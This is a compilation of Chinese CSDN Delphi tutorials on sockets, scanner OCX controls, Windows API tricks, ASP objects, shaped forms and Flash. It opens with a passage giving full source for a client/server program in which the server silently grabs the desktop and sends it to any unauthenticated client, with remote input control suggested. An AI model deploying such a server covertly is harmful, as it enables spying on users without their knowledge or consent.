服务端的socket对象管理起来较为复杂。当服务器处于监听状态，此时服务端的socket对象用Tserversocket来操纵；当客户提出请求，服务器响应请求并建立了连接，此时用Tserverclientwinsocket来操纵服务端Socket与客户端的Socket的连接。
要使服务器处于监听状态，必须先指定端口号，当然，应该和客户端的端口号相同。然后调用open方法或Active属性设为True。
三、通信：
一旦建立起客户与服务器的连接后，就可以进行相互间的通信了。Delphi为Tserversocket和Tclientsocket提供了几个通信用的方法，用sendtext发送本本信息，用sendstream发送流，用SendBuf发送指定长度的数据。
需要注意的是，由于windows默认缓冲区大小为4K，所以当发送长于4K的信息时，比如，从服务端向客户端发送的一个二进制流，在服务端只需要用 Socket.SendStream()就行了，而在客户端就不一样，它将多次触发onread事件，而Delphi又没有定义如“onreadend”之类的事件，因此，必须在接收时程序员自己对数据进行组装。本文采取的方法是先将流长度发给客户端，然后发送流，客户端将接收的数据写进一个流中，当流长度等于服务端发回的长度时，就表明客户端已接收完毕了。对服务端来说，做为sendstream参数的流，会为Socket 所“拥有”，Socket对象结束时，它也将结束，而不要自己去释放它，否则，会触发一个异常。
同样，当发送的文本小于4K，例如在客户端程序中进行如下调用时
clientsocket1.Socket.SendText(‘gets‘);
clientsocket1.Socket.SendText(‘gets‘);
clientsocket1.Socket.SendText(‘gets‘);
服务端接收时会出现getsgets之类的现象，这可能是因为当缓冲区内的数据还未发送完时，又将新的文本放入缓冲区，计算机把它也当成同一批数据进行处理的缘故。为避免这个现象的发生，在程序内可采用一来一回“抛球”式的做法：
客户端 服务端
clientsocket1.Socket.SendText(‘data1‘) socket.ReceiveText;
socket.sendtext(‘ok‘);
socket.receivetext;
clientsocket1.Socket.SendText(‘ data2‘)
socket.ReceiveText;
socket.sendtext(‘end‘);
socket.receivetext;

在另一台计算机上运行服务端程序后，在您的客户端程序上文本框内输入该计算机名，接“连接”，按“取图”，如何，对方计算机的屏幕一览无余了吧。以下是程序的全部源代码，本程序在NT4.0、Win95、Win98、局域网内运行通过，当然，windows必须得装tcp/ip协议，而且必须有动态分配的或指定的ip地址。
如果您觉边看边“指挥”还是比较麻烦，您还可以对image1上的键盘、鼠标事件进行分析，然后发给服务端，服务端接收后，再进行同样的操作，这样您就可以不用麻烦操作员了。利用Delphi的Tclientsocket 和Tserversocket，还可以完成诸如文件复制、网上聊天、ICQ等应用程序的开发，实现起来都很简单,你可以自由的发挥出你的想象力，编写出更富魅力的程序来。

客户端程序：
unit cmain;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ScktComp, StdCtrls, ExtCtrls,jpeg;

type
TForm1 = class(TForm)
Panel1: TPanel;
ScrollBox1: TScrollBox;
Image1: TImage;
Button1: TButton;
Edit1: TEdit;
Button2: TButton;
ClientSocket1: TClientSocket;
Label1: TLabel;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure ClientSocket1Connect(Sender: TObject;
Socket: TCustomWinSocket);
procedure ClientSocket1Error(Sender: TObject; Socket: TCustomWinSocket;
ErrorEvent: TErrorEvent; var ErrorCode: Integer);
procedure ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket);
procedure FormCreate(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;
c:longint;
m:tmemorystream;

implementation

{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject);
begin
try
clientsocket1.Close;
clientsocket1.Host:=edit1.text;
clientsocket1.Open; //连接服务端
except
showmessage(edit1.text+#13#10+‘未开机或未安装服务程序‘);
end;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
clientsocket1.Socket.SendText(‘gets‘); //发送申请，通知服务端需要屏幕图象
end;

procedure TForm1.ClientSocket1Connect(Sender: TObject;
Socket: TCustomWinSocket);
begin
caption:=‘连接到‘+edit1.text;
end;

procedure TForm1.ClientSocket1Error(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
begin
caption:=‘连接‘+edit1.text+‘失败‘;
showmessage(edit1.text+#13#10+‘未开机或未安装服务程序‘);
errorcode:=0;

end;

procedure TForm1.ClientSocket1Read(Sender: TObject;
Socket: TCustomWinSocket);
var
buffer:array [0..10000] of byte; //设置接收缓冲区
len:integer;
ll:string;
b:tbitmap;
j:tjpegimage;
begin
if c=0 then //C为服务端发送的字节数，如果为0表示为尚未开始图象接收
begin
ll:=socket.ReceiveText;
c:=strtoint(ll); //设置需接收的字节数
clientsocket1.Socket.SendText(‘okok‘); //通知服务端开始发送图象
end else
begin //以下为图象数据接收部分
len:=socket.ReceiveLength; //读出包长度
socket.ReceiveBuf(buffer,len); //接收数据包并读入缓冲区内
m.Write(buffer,len); //追加入流M中
if m.Size>=c then //如果流长度大于需接收的字节数，则接收完毕
begin
m.Position:=0;
b:=tbitmap.Create;
j:=tjpegimage.Create;
try
j.LoadFromStream(m); //将流M中的数据读至JPG图像对象J中
b.Assign(j); //将JPG转为BMP
Image1.Picture.Bitmap.Assign(b); //分配给image1元件
finally //以下为清除工作
b.free;
j.free;
clientsocket1.Active:=false;
clientsocket1.Active:=true;
m.Clear;
c:=0;
end;
end;
end;

end;

procedure TForm1.FormCreate(Sender: TObject);
begin
m:=tmemorystream.Create;

end;

procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
m.free;
ClientSocket1.Close;
end;

end.

服务端程序：
unit smain;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ScktComp,jpeg;

type
TForm1 = class(TForm)
ServerSocket1: TServerSocket;
procedure ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;
m1:tmemorystream;

implementation

{$R *.DFM}

procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var
s,s1:string;
desk:tcanvas;
bitmap:tbitmap;
jpg:tjpegimage;
begin
s:=socket.ReceiveText;
if s=‘gets‘ then //客户端发出申请
begin
bitmap:=tbitmap.Create;
jpg:=tjpegimage.Create;
desk:=tcanvas.Create; //以下代码为取得当前屏幕图象
desk.Handle:=getdc(hwnd_desktop);
m1:=tmemorystream.Create; //初始化流m1,在用sendstream(m1)发送流后，
//它将保留到socket对话结束，
//不能用手工free掉，否则会触发异常
with bitmap do
begin
width:=screen.Width;
height:=screen.Height;
canvas.CopyRect(canvas.cliprect,desk,desk.cliprect);
end;
jpg.Assign(bitmap); //将图象转成JPG格式
jpg.SaveToStream(m1); //将JPG图象写入流中
jpg.free;
m1.Position:=0;
s1:=inttostr(m1.size);
Socket.sendtext(s1); //发送图象大小
end;
if s=‘okok‘ then //客户端已准备好接收图象
begin
m1.Position:=0;
Socket.SendStream(m1); //发送JPG图象
end;

end;

procedure TForm1.FormCreate(Sender: TObject);
begin
ServerSocket1.open;
end;

end.


CSDN_文档中心_在Delphi中控制扫描仪

[DELPHI]在Delphi中控制扫描仪

---- 在利用Delphi开发信息管理系统时，常常要处理图象，这也是信息管理系统发展的必然趋势。怎样在Delphi中通过扫描仪获得所需的图象信息呢？不外乎有三种基本的方法：
通过图象处理软件，比如说Photoshop等，通过它们的扫描图象的功能，加工成一定格式的图象后再在自己的系统中利用；

通过扫描仪接口Twain.DLL 。该接口是在安装扫描仪时提供的，它实际上是一个Plugin插件，它通过一系列函数来控制扫描仪；

通过构件技术来控制扫描仪。
---- 利用第一种方法能减少编程的复杂度，但是系统的集成度不高，用户使用上也不方便；第二种方法能在驱动程序级直接控制扫描仪，能
在编程上提供最大的灵活性和可控性；第三种方法能充分利用Delphi的可视化构件技术，安全、灵活、自由地利用扫描仪。其实第三种方法也
是建立在扫描仪接口Twain.DLL之上的。本文论述的方法就采用第三种。

---- Windows9X在其附件中提供了“映象”可选件，该附件是采用OCX构件来控制扫描仪的，共有imgEdit、imgAnntool、imgScan、imgAdmin 四个，有这四个构件基本上就能完全控制扫描仪。在Delphi中的用法如下： 在Windows9x中选择安装“映象”。（在控制面板中选择“添加/删除程序”，再选择“安装Windows”，点击“附件”复选框，然后从“详细资料”按钮中可以找到“映象”）

启动Delphi，选择“Component”菜单项下的“Import ActiveX Control”，
这时可以看到列表中有“Wang 图象编辑控制、Wang 图象扫描控制、Wang
图象管理控制、Wang 图象缩略图控制”，选中这四项，然后点击“Install”
按钮，这时在构件面板上的ActiveX舌标下就可以看到这四个构件的图标。
---- ImgScan 的主要属性：FileType：图象的文件类型（该构件支持三
种：TIFF，BMP，AWD）；

ScanTo：返回或设置被扫描图象的目的；
可取值 含义
0 (缺省) 显示被扫描的图象.
1 显示被扫描的图象并写入一个文件.
2 把图象写入一个文件
3 以模板方式把图象写入文件并显示.
4 . 以模板方式把图象写入文件
5 传真被扫描的图象
注意：如果取缺省值0，
必须和 Wang ImgEdit 构件配合使用。
DestImageControl：Wang ImgEdit构件名；
Zoom：图象的放缩比例

ImgScan 的主要方法：OpenScanner ：打开扫描仪；
CloseScanner ：关闭扫描仪；
StartScan ： 开始扫描；
StopScan ： 停止扫描

---- ImgEdit 的属性主要是控制扫描图象的分辨率、图象的宽高、是否
允许对图象进行局部选 择等；其方法主要有拷贝、剪切图象到粘贴板，
从粘贴板复制图象，旋转、放缩、 镜象图象；打印、保存、刷新图象等。
---- 关于上述四个OCX构件的详细使用说明可在Delphi中查看其自带的
帮助系统。
---- 下面是使用这两个构件的一些例子：

procedure Tscanf.N1Click(Sender: TObject);
begin
ImgScan1.ShowSelectScanner;
file://选择系统中已安装的扫描仪
end;

procedure Tscanf.N2Click(Sender: TObject);
begin
imgedit1.zoom:=100; file://设置图象的放缩因子
if not imgscan1.ScannerAvailable then
file://如果选择的扫描仪不可用
imgscan1.OpenScanner;//打开扫描仪
imgscan1.StartScan; file://开始扫描图象
imgscan1.CloseScanner; file://关闭扫描仪
end;

procedure Tscanf.N8Click(Sender: TObject);
begin
if (imgedit1.IsClipboardDataAvailable
and imgedit1.ImageDisplayed ) then
imgedit1.ClipboardPaste(selleft,seltop);
file://从剪贴板粘贴图象，其参数为Imgedit的显示区域的起始坐标
end;

procedure Tscanf.N1801Click(Sender: TObject);
begin
if imgedit1.ImageDisplayed then
imgedit1.Flip; file://镜象图象
end;

procedure Tscanf.N901Click(Sender: TObject);
begin
if imgedit1.ImageDisplayed then
imgedit1.RotateRight file://向右旋转图象
end;
procedure Tscanf.N6Click(Sender: TObject);
begin
imgedit1.DrawSelectionRect(selleft,
seltop,selwidth,selheight);//进行图象局部选择
imgedit1.ClipboardCut(selleft,seltop,
selwidth,selheight);//剪切所选区域
end;

---- 注意：在DELPHI中使用Imgedit构件的拷贝和剪切功能时，会出现
以下问题：
---- 1、 如果把整幅图象都选中，没有任何问题；
---- 2、 如果选择了局部区域，则拷贝和剪切的区域会发生漂移；
---- 3、 如果DELPHI做的是MS SQL后端数据库的客户端界面，那么在把
图象内容写入数据库的图象字段中时，BDE（数据库引擎）会报错。这是
DELPHI3。0和4。0的BUG，4。0的升级包可以解决这个问题。
---- 至于第二个问题，可这样解决：在Imgedit的onSelectionRectDrawn
事件中写一段代码，把选择区域的边界值保存到四个全局变量中，在拷贝
和剪切之前用先前保存的变量再进行一次选择即可（当然，这一切都在后
台进行的，见前面的例子）。
---- 开发环境：DELPHI4。0，HP ScanJet 4P扫描仪；

---- 附源代码。
unit scanu;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls,
Forms, Dialogs, Menus, ScanLib_TLB, ExtCtrls, AxCtrls,
OleCtrls, ImgeditLib_TLB;

type
Tscanf = class(TForm)
MainMenu1: TMainMenu;
F1: TMenuItem;
N15: TMenuItem;
N1: TMenuItem;
N2: TMenuItem;
N16: TMenuItem;
N11: TMenuItem;
N5: TMenuItem;
C1: TMenuItem;
N4: TMenuItem;
E1: TMenuItem;
N6: TMenuItem;
N7: TMenuItem;
N8: TMenuItem;
N3: TMenuItem;
N10: TMenuItem;
N9: TMenuItem;
N1801: TMenuItem;
N901: TMenuItem;
N902: TMenuItem;
H1: TMenuItem;
N12: TMenuItem;
N13: TMenuItem;
ImgEdit1: TImgEdit;
Bevel1: TBevel;
ImgScan1: TImgScan;
Bevel2: TBevel;
procedure N4Click(Sender: TObject);
procedure N1Click(Sender: TObject);
procedure N2Click(Sender: TObject);
procedure C1Click(Sender: TObject);
procedure N8Click(Sender: TObject);
procedure N1801Click(Sender: TObject);
procedure N901Click(Sender: TObject);
procedure N902Click(Sender: TObject);
procedure N6Click(Sender: TObject);
procedure N7Click(Sender: TObject);
procedure ImgEdit1SelectionRectDrawn(Sender: TObject; Left,Top,
Width, Height: Integer);
procedure N11Click(Sender: TObject);
private
{ Private declarations }
public
selleft,seltop,selwidth,selheight:integer;
{ Public declarations }
end;
var
scanf: Tscanf;

implementation

{$R *.DFM}

procedure Tscanf.N4Click(Sender: TObject);
begin
imgedit1.ClearDisplay;
close;
end;

procedure Tscanf.N1Click(Sender: TObject);
begin
ImgScan1.ShowSelectScanner;
end;

procedure Tscanf.N2Click(Sender: TObject);
begin
imgedit1.zoom:=100;
if not imgscan1.ScannerAvailable then
imgscan1.OpenScanner;
imgscan1.StartScan;
imgscan1.CloseScanner;
end;

procedure Tscanf.C1Click(Sender: TObject);
begin
if imgedit1.ImageDisplayed then
begin
imgedit1.ClearDisplay;
imgedit1.zoom:=100;
end;
end;

procedure Tscanf.N8Click(Sender: TObject);
begin
if (imgedit1.IsClipboardDataAvailable and imgedit1.ImageDisplayed )
then
imgedit1.ClipboardPaste(selleft,seltop);
end;

procedure Tscanf.N1801Click(Sender: TObject);
begin
if imgedit1.ImageDisplayed then
imgedit1.Flip;
end;

procedure Tscanf.N901Click(Sender: TObject);
begin
if imgedit1.ImageDisplayed then
imgedit1.RotateRight
end;

procedure Tscanf.N902Click(Sender: TObject);
begin
if imgedit1.ImageDisplayed then
imgedit1.RotateLeft;
end;

procedure Tscanf.N6Click(Sender: TObject);
begin
imgedit1.DrawSelectionRect(selleft,seltop,selwidth,selheight);
imgedit1.ClipboardCut(selleft,seltop,selwidth,selheight);
end;

procedure Tscanf.N7Click(Sender: TObject);
begin
imgedit1.DrawSelectionRect(selleft,seltop,selwidth,selheight);
imgedit1.ClipboardCopy(selleft,seltop,selwidth,selheight);
end;

procedure Tscanf.ImgEdit1SelectionRectDrawn(Sender: TObject; Left,
Top, Width, Height: Integer);
begin
if ((width=0) and (height=0))then
begin
n3.Enabled:=false;
n6.Enabled:=false;
n7.Enabled:=false;
selleft:=left;
seltop:=top;
selwidth:=width;
selheight:=height;
end
else begin
n6.Enabled:=true;
n7.Enabled:=true;
selleft:=left;
seltop:=top;
selwidth:=width;
selheight:=height;
end;
end;

procedure Tscanf.N11Click(Sender: TObject);
begin
if not imgedit1.IsClipboardDataAvailable then
if imgedit1.imagedisplayed then
imgedit1.ClipboardCopy(0,0,imgedit1.Width,imgedit1.Height);
end;
end.


CSDN_文档中心_在Delphi中巧用WINDOWS 的API函数

应用之一：Delphi中有控件MEMO，当使用应控件输入内容或编辑时，如何确定光标当前的位置呢？这时就可以调用WINDOWS API中的EM_LINEFROMCHAR和EM_LINEINDEX消息来确定MEMO控件中光标的当前行和列，具体调用方法的过程如下：

procedure TForm1.Button1Click(Sender: TObject);

var

LineNum:longint;

CharsBeforeLine:longint;

begin

LineNum := SendMessage(Memo1.Handle,EM_LINEFROMCHAR,

Memo1.SelStart,0);

CharsBeforeLine:=SendMessage(Memo1.Handle,EM_LINEINDEX,

LineNum,0);

Label1.Caption:='Line: '+IntToStr(LineNum + 1);

Label2.Caption:='Position: '+IntToStr((Memo1.SelStart -

CharsBeforeLine)+1);

end;

应用之二：Delphi中的控件TlistBox没有提供水平滚动条，如果想添加一个水平流动条，其实也很简单，我们只需使用API函数给TListBox 发送一个LB_SetHorizontalExtent消息就行了。

源代码如下：

SendMessage(ListBox1.Handle,LB_SetHorizontalExtent,2000,

longint(0));

应用之三：当我们需要获取所运行程序的计算机的分辨率时，有二种方法：①可以通过访问Delphi提供的SCREEN全局变量，即SCREEN.WIDTH和SCREEN.HEIGHT以像素点给出屏幕的分辨率。②利用WINDOWS的API函数GetDeviceCaps()来得到所用显示器的分辨率，代码如下：

Application.Initialize;

Application.CreateForm(TForm1, Form1);

CASE GetDeviceCaps(GetDC(Form1.Handle), HORZRES) of

640 : //对640*480分辨率进行处理的代码;

800 : //对800*600分辨率进行处理的代码;

1024: //对1024*768分辨率进行处理的代码;

1280: //对1280*1024分辨率进行处理的代码;

END;

Application.Run;


CSDN_文档中心_在Delphi中如何控制其它应用程序窗口

在Delphi中如何控制其它应用程序窗口

在Delphi中如何控制其它应用程序窗口
广东省农业管理干部学院 陈建兵

在编写Delphi的应用程序中，常常涉及对其它Windows应用程序的操作。例如，在数据库的管理系统中，财务人员需要使用计算器，即可调用Windows内含的计算器功能，若每次使用，均通过“开始/程序/附件/计算器”来打开计算器，显然是非常繁琐的，当然可以考虑在桌面上建立一“计算器”的快捷方式，且定义一热键，需要使用计算器时，就按下这个热键来打开“计算器”。但由于“计算器”是一个“非模式”窗口程序，即每运行一次计算器，就会打开一个“计算器”窗口，这样的结果是桌面上出现了几十个“计算器”，不仅大量增加了系统内存的开销，而且也不方便用户的操作。在Delphi中可较轻易地控制，效果非常完美。下面就两个主要问题提出实现方法。
1．如何控制设计？
新建一表单，在表单中放入两个按钮，其Caption分别为“打开”（即启动“计算器”）和“关闭”（退出结束），且为它们分别添加Click事件处理。详见表单Form1及单元文件Unit1。
其中，最主要的几条语句有：
fwnd:=FindWindow('SciCalc','计算器');
函数原型为（详见Delphi的帮助）:
HWND FindWindow(
LPCTSTR lpClassName, // pointer to class name
LPCTSTR lpWindowName // pointer to window name
);
此处，'SciCalc' 为计算器的类名，'计算器'为计算器的窗口标题}
setWindowPos(fwnd,HWND_NOTOPMOST,0,0,0,0,SWP_SHOWWINDOW or SWP_NOSIZE or SWP_NOMOVE);
函数原型为:
BOOL SetWindowPos(
HWND hWnd, // handle of window
HWND hWndInsertAfter, // placement-order handle
int X, // horizontal position
int Y, // vertical position
int cx, // width
int cy, // height
UINT uFlags // window-positioning flags
);
ShowWindow(fwnd,SW_RESTORE); //显示已打开的「计算器」
函数原型为:
BOOL ShowWindow(
HWND hWnd, // handle of window
int nCmdShow // show state of window
);
Ret:=WinExec('c:\windows\calc.exe',SW_SHOWNORMAL); //启动计算器
函数原型为:
UINT WinExec(
LPCSTR lpCmdLine, // address of command line
UINT uCmdShow // window style for new application
);
运行“计算器”程序并检测返回值（从而利用返回值来判断可能发生的错误）

2．如何明确应用程序的“类名”？
要控制应用程序，首先必须明确应用程序的“类名”。“类”的概念，Delphi的程序已经非常清楚，如：新建一表单Form1，该表单的“类名”为TForm1。那么其它Windows程序的“类名”如何确定呢？
值得一喜的是，Delphi提供了一实用工具Winsight，它正如一面照妖镜，不论何方妖怪，均会显露出它们的“类名”。
使用Winsight的方法如下：
  ⑴运行Winsight（程序名为ws32.exe，与主文件delphi32.exe同一目录），见图①；
  ⑵从Winsight的菜单中选择“间谍”中的“跟随焦点”，见图②；
  ⑶运行“计算器”程序；
  ⑷在Winsight中显示出了目标，如图③所示。
软件环境：中文Win98/中文Delphi5.0。


CSDN_文档中心_在Delphi中如何使用RC文件中的字符串表

在Delphi中如何使用RC文件中的字符串表

原作作者：wangzhidong(Steven Bob)

时间：2002年3月25日星期一

首先用Notepad或Resource workshop 4.5建立RC文件。

结构如下

/****************************************************************************

rcdemo.rc

produced by Borland Resource Workshop

*****************************************************************************/

#include "urcdemo.pas"

STRINGTABLE

{

 IDS_HELLO, "I am glad to see you."

 IDS_RC, "This programming is created by %s."

}

然后用BRCC.EXE 或BRCC32.exe把rcdemo.rc编译成rcdemo.res文件，接着把rcdemo.res改名

为rcdemo.rc文件。 如用Resource workshop 4.5会产生一个PAS单元文件，本例为urcdemo.pas

内容如下：

(****************************************************************************

urcdemo.pas

produced by Borland Resource Workshop

*****************************************************************************)

unit urcdemo;

interface

const

       IDS_HELLO   =     2;

       IDS_RC  =     1;

implementation

end.

利用此项技术可实现错误处理中字符串问题存储问题和程序的本地化问题。

范例：

unit ufmRCDemo;

interface

uses

  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

  Dialogs, StdCtrls;

type

  TForm1 = class(TForm)

    GroupBox1: TGroupBox;

    Button1: TButton;

    Button2: TButton;

    GroupBox2: TGroupBox;

    Button3: TButton;

    Button4: TButton;

    procedure Button1Click(Sender: TObject);

    procedure Button2Click(Sender: TObject);

    procedure Button3Click(Sender: TObject);

    procedure Button4Click(Sender: TObject);

  private

    { Private declarations }

  public

    { Public declarations }

  end;

var

  Form1: TForm1;

implementation

uses urcdemo;

{$R rcdemo.rc}

{$R *.dfm}

{利用windows API}

procedure TForm1.Button1Click(Sender: TObject);

var

  arystr: array [0..255] of char;

begin

  windows.LoadString(hInstance, IDS_RC, arystr, sizeof(arystr));

  ShowMessage(arystr);

end;

procedure TForm1.Button2Click(Sender: TObject);

var

  arystr: array [0..255] of char;

begin

  windows.LoadString(hInstance, IDS_Hello, arystr, sizeof(arystr));

  ShowMessage(arystr);

end;

{利用Delphi原生函数}

procedure TForm1.Button3Click(Sender: TObject);

begin

  ShowMessage(LoadStr(IDS_Hello));

end;

procedure TForm1.Button4Click(Sender: TObject);

begin

  ShowMessage(LoadStr(IDS_RC));

end;

end.

注意：16位格式于32位格式的差异。

实例下载：http://www.megspace.com/computers/coreware/


CSDN_文档中心_在delphi中如何限制鼠标的移动区域。

下面把鼠标的移动区域限制在(100,100,200,200)

var rect:TRect;
begin
rect.Left:=100;
rect.Top:=100;
rect.Bottom:=200;
rect.Right:=200;
windows.ClipCursor(@rect);

下面恢复鼠标的移动区域
windows.ClipCursor(0);

具体的列子就不用举了吧，很简单的。嘻嘻嘻嘻嘻

在delphi中的帮助是这么写的：

The ClipCursor function confines the cursor to a rectangular area on the screen.
If a subsequent cursor position (set by the SetCursorPos function or the mouse)
lies outside the rectangle, Windows automatically adjusts the position to keep the
cursor inside the rectangular area.

BOOL ClipCursor(

CONST RECT *lpRect // pointer to structure with rectangle
);

Parameters

lprc

Points to the RECT structure that contains the screen coordinates of the upper-
left and lower-right corners of the confining rectangle. If this parameter is
NULL, the cursor is free to move anywhere on the screen.

Return Values

If the function succeeds, the return value is nonzero.
If the function fails, the return value is zero. To get extended error information, call GetLastError.

Remarks

The cursor is a shared resource. If an application confines the cursor, it must
release the cursor by using ClipCursor before relinquishing control to another
application.
The calling process must have WINSTA_WRITEATTRIBUTES access to the window station.


CSDN_文档中心_在Delphi中实现ASP编程

在Delphi中实现ASP编程
    众所周知，asp技术是我们在以internet/intranet为平台的web程序的主要技术，在asp应用程序中我们一般使用vbscripts和javascripts两种脚本语言。但是脚本语言是一种非编译的语言，其所开发的web程序存在先天的安全性、执行效率扩张性方面的问题，因此我们一般在开发web系统时用高级语言编写asp执行体，然后用脚本语言作为连接代码去调用asp执行体执行存取。在这方面由于asp技术是微软推出的，因此我们一般利用vb或vc，那么delphi程序员又如何实现呢？

    在这方面笔者最近通过inrpisre的资料，实现了在delphi环境中实现asp技术的web编程，现以一个介绍如下：

    1、在delphi环境中建立一个新的acdivex dll项目project1，然后通过delphi的active server object建立一个asp对象，在他的coclassname中填入所建立对象的名字myaspobject.

    2、通过type library为刚建立的myaspobject对象建立一个将要被脚本语言调用的方法myasprequest.

    3、由于刚才所建立的asp对象是从taspobject继承的，应此我们在方法建立中可以直接使用asp对象，现在为我们建立的asp对象填写代码如下：

    produce tmyaspobject.myasprequest;

    begin

     repsonse.write('<p>您的姓名是:');

     repsonse.write(request.form.item['name']）；

     repsonse.write('</p>');//从所要建立的网页中读出用户名//

     repsonse.write('<p>您的工作是:');

     repsonse.write(request.form.item['work']）；

     repsonse.write('</p>');//从所要建立的网页中读出用户工作//

     repsonse.write('<p>您用的开发工具:');

     if(request.form.item['delphi'].count>0)

     repsonse.write('delphi');

     if(request.form.item['bcb'].count>0)

     repsonse.write('c++ builder');//判断用户所用的开发工具//

     repsonse.write('</p>');

     repsonse.write('<p>您的身份:');

     repsonse.write(request.form.item['identity'])；

     repsonse.write('</p>');//读出用户的身份//

     end;

    4、对程序进行编译并在delphi中进行注册为pmyaspobject.dll文件。

    5、编写用于连接的asp脚本语言文件myasp.asp

    <%@language=jscript %>

    <html>

    <body>

    <title>这是一个用delphi建立的asp对象</title>

    <center><h3>你填的内容如下</h3></center>

    <%

     var myasp;

     myasp=server.createobject(pmyaspobject.myaspobject);

     //生成连接对象//

     myasp.myasprequest();//调用自己定义的asp对象//

    %>

    </body>

    </html>

    6、建立用于显示的网页myhtm.htm

    <form action='localhost/shd/myasp.asp' method='post">

    <h1 align='center">请选择</h1>

    <p>姓名：<input type='text' size=33 name="name"></p>

    <p>工作：<input type='text' size=33 name="work"></p>

    <p>开发工具：<input type='checkbox' name='delphi' value="on">delphi

    <input type='checkbox'name='bcb'value="on">c++ builder</p>

    <p>您的身份:</p>

    <p><select name="identity" size="1">

     <option>学生</option>

     <option>技术人员</option>

     </select></p>

    <p><input type="submit" name="mysubmit" value="递交">

    </form>

    7、然后把myhtm.htm和myasp.asp放在个人的web服务器中的shd目录下即可浏览测试。


CSDN_文档中心_在Delphi中实现任意形状的窗体

Form的TEXT：

object Form1: TForm1
Left = 192
Top = 107
BorderStyle = bsNone
Caption = 'Form1'
ClientHeight = 348
ClientWidth = 536
Color = clBtnFace
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = []
OldCreateOrder = False
OnCreate = Button1Click
PixelsPerInch = 96
TextHeight = 13
object Button1: TButton
Left = 392
Top = 152
Width = 75
Height = 25
Caption = 'Button1'
TabOrder = 0
OnClick = Button1Click
end
object Button2: TButton
Left = 432
Top = 24
Width = 17
Height = 17
Caption = 'Button2'
TabOrder = 1
OnClick = Button2Click
end
object Button3: TButton
Left = 448
Top = 40
Width = 17
Height = 17
Caption = 'Button2'
TabOrder = 2
OnClick = Button3Click
end
object Button4: TButton
Left = 464
Top = 56
Width = 17
Height = 17
Caption = 'Button2'
TabOrder = 3
OnClick = Button4Click
end
end

各种不同的事件声名：

TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
Button3: TButton;
Button4: TButton;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
procedure Button4Click(Sender: TObject);
private
procedure WMmove(var Message: TWMNCHITTEST); Message WM_NCHITTEST;
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.WMmove(var Message: TWMNCHITTEST);
begin
Message.Result := HTCAPTION;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
R1,R2,R3,R4,R5: HRGN;
begin
R1 := CreateEllipticRgn(0,0,Round(ClientWidth / 2),ClientHeight);
R2 := CreateEllipticRgn(Round(ClientWidth / 2),0,ClientWidth,ClientHeight);
R3 := CreateEllipticRgn(Round(ClientWidth / 4 ),Round(ClientHeight / 4 *3),Round(ClientWidth / 4 *3),ClientHeight);
R4 := CreateRectRgn(0,0,0,0);
R5 := CreateRectRgn(0,0,0,0);
CombineRgn(R4,R2,R1,RGN_or);
CombineRgn(R5,R4,R3,RGN_or);

SetWindowRGN(Handle,R5,True);
DeleteObject(R1);
DeleteObject(R2);
DeleteObject(R3);
DeleteObject(R4);
DeleteObject(R5);
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
SendMessage(Handle,WM_SYSCOMMAND,SC_MINIMIZE,0);
end;

procedure TForm1.Button3Click(Sender: TObject);
begin
SendMessage(Handle,WM_SYSCOMMAND,SC_DEFAULT,0);
end;

procedure TForm1.Button4Click(Sender: TObject);
begin
Application.Terminate;
end;

end.


CSDN_文档中心_在delphi中使用flash控件

FLASH是Macromedia公司出品的，用在互联网上动态的、可互动的shockwave。它的
优点是体积小，可边下载边播放，这样就避免了用户长时间的等待。
FLASH可以用其生成动画，还可在网页中加入声音。这样你就能生成多媒体的图形和界面，而使文件的体积却很小。
FLASH虽然不可以象一门语言一样进行编程，但用其内置的语句并结合
JAVASCRIPE，您也可作出互动性很强的主页来。
FLASH另外一个特点就是必须安装插件PLUG-IN，才能被浏览器所接受！当然这也
避免了浏览器之间的差异，使之一视同仁！
但是你知道吗？在delphi中可以直接打开flash动画，并控制它播放和停止。你还
可以得到它的总帧数，知道怎么实现的吗？请跟我来。
在delphi中的Component|Import ActiveX Contrals...中选中 "Shockwave
Flash(Version 1.0)",并单击Install,会出现一个install窗口。
如果要把它添加到一个已经存在的包中，在"into existing package"对话框中的
"File name:"窗口中选择你想安装的路径，并单击"OK"；会弹出一个确认的对话框，它
问你"Package dclusr50.bpl will be rebuilt. Continue?",单击"Yes"；在弹出的窗
口中单击击"install",该插件就安装完毕。
如果要把它添加到一个新建的包中，在"into new package"对话框中的 "File
name:"窗口中选择你想安装的路径，并新建一个包，假如命名为test，并单击"OK"；它
问你"Package test.bpl will be built. Continue?",单击"Yes"。 在弹出的窗口中单
击击"install",该插件就安装完毕。
这时，你会在控件条的ActiveX下发现一个新的控件，名字为ShokewaveFlash, 单
击它把它放在form中，在该form中放一个OpenDialog控件和一个panel，在该panel上放
四个button，他们的caption属性分别命名为"Openfile","Play","Stop","Close".设置
panel1，ShockwaveFlash的Align 属性分别为Alleft 和AlClient; 分别在这四个
Button的OnClick事件中写下如下代码：

procedure TForm1.Button1Click(Sender: TObject);
begin
if OpenDialog1.Execute then
ShockwaveFlash1.Movie:=
OpenDialog1.FileName;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
ShockwaveFlash1.Play;
end;

